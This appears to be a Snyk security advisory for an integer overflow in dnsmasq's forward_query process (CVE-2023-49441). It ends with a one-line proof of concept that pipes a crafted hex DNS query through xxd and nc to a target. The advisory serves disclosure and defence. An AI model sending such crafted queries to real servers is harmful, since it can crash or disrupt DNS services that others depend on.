Integer Overflow Affecting dnsmasq package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-DNSMASQ-7231117
  • published10 Jun 2024
  • disclosed6 Jun 2024
  • creditFeifan Wu

Introduced: 6 Jun 2024

CVE-2023-49441  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

There is no fixed version for dnsmasq.

Overview

Affected versions of this package are vulnerable to Integer Overflow via the forward_query process. An attacker can manipulate memory allocation and potentially cause a program crash or incorrect data processing by sending specially crafted queries.

PoC

echo -n 'c97b01000001000000000000047465737403636f6d0000020001' | xxd
-r -p | nc -u target_addr target_port

CVSS Scores

version 4.0
version 3.1